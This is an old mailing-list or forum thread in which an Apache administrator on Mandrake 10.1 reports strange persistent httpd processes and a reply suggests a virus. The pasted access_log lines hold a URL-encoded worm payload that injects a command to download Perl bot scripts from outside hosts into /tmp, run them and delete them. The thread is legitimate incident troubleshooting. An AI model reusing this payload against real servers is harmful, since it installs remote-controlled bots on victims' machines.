strange apache processes

External Since: Dec 08, 2004 Posts: 6

Hi,

I work on apache on a mandrake 10.1 and I found that apache launch strange
processes

Normal processes under mandrake look like this:

httpd2 -f
/etc/httpd/conf/httpd2.conf -DAPACHE2 -DHAVE_PHP4 -DHAVE_ACCESS -DHAVE ...

But few minutes after starting apache, apache launch processes like this
/usr/local/apache/bin/httpd -DSSL
/usr/local/apache/bin/httpd - D55L
/usr/local/apache/bin/httpd - D5SL

This processes don't stop when I stop apache and I can't restart apache
until I kill them.
And of course there is no httpd files under /usr/local/apache/bin/ directory

I think it's a virus or a worm.

Below is some few lines from access_log

127.0.0.1 - - [20/Jan/2005:09:52:07 +0100] "GET
/your_server_is_infected_by_shanty.html?iID=188&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp22%3bcd%2520.temp22%3bwget%2520http://www.quasi-sane.com/pics/bot.htm%3bwget%2520http://weblicious.com/.notes/ssh2.htm%3bperl%2520ssh2.htm%3brm%2520ssh.htm%3bperl%2520bot.htm%3brm%2520bot.htm%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b
HTTP/1.1" 404 364 "-" "LWP::Simple/5.800"
127.0.0.1 - - [20/Jan/2005:09:52:12 +0100] "GET
/?t=13714&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp22%3bcd%2520.temp22%3bwget%2520http://www.quasi-sane.com/pics/bot.htm%3bwget%2520http://weblicious.com/.notes/ssh2.htm%3bperl%2520ssh2.htm%3brm%2520ssh.htm%3bperl%2520bot.htm%3brm%2520bot.htm%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b
HTTP/1.1" 200 6980 "-" "LWP::Simple/5.800"
127.0.0.1 - - [20/Jan/2005:09:54:12 +0100] "GET
/?t=6&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp22%3bcd%2520.temp22%3bwget%2520http://www.quasi-sane.com/pics/bot.htm%3bwget%2520http://weblicious.com/.notes/ssh2.htm%3bperl%2520ssh2.htm%3brm%2520ssh.htm%3bperl%2520bot.htm%3brm%2520bot.htm%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b
HTTP/1.1" 200 6980 "-" "LWP::Simple/5.800"
127.0.0.1 - - [20/Jan/2005:10:45:12 +0100] "GET / HTTP/1.1" 200 6980 "-"
"LWP::Simple/5.800"
127.0.0.1 - - [20/Jan/2005:10:45:13 +0100] "GET / HTTP/1.1" 200 6980 "-"
"LWP::Simple/5.800"
127.0.0.1 - - [20/Jan/2005:10:46:30 +0100] "GET / HTTP/1.1" 200 6980 "-"
"LWP::Simple/5.800"

Thanks for your help,

Khorne

External Since: Nov 03, 2003 Posts: 2907

On 2005-01-20, Khorne <khorne_fr1.DeleteThis@hotmail.com> wrote:
> But few minutes after starting apache, apache launch processes like this
> /usr/local/apache/bin/httpd -DSSL

What a ps -ef | grep httpd shows?

> And of course there is no httpd files under /usr/local/apache/bin/ directory

Then is trying to run a process that doesn't exist. I don't think that is
apache the culprit.

> Below is some few lines from access_log
> 127.0.0.1 - - [20/Jan/2005:09:52:07 +0100] "GET
> /your_server_is_infected_by_shanty.html?iID=188&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp22%3bcd%2520.temp22%3bwget%2520http://www.quasi-sane.com/pics/bot.htm%3bwget%2520http://weblicious.com/.notes/ssh2.htm%3bperl%2520ssh2.htm%3brm%2520ssh.htm%3bperl%2520bot.htm%3brm%2520bot.htm%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b

It looks like some kind of virus. Checked on google?

Davide

--
Bang on the LEFT side of your computer to restart Windows.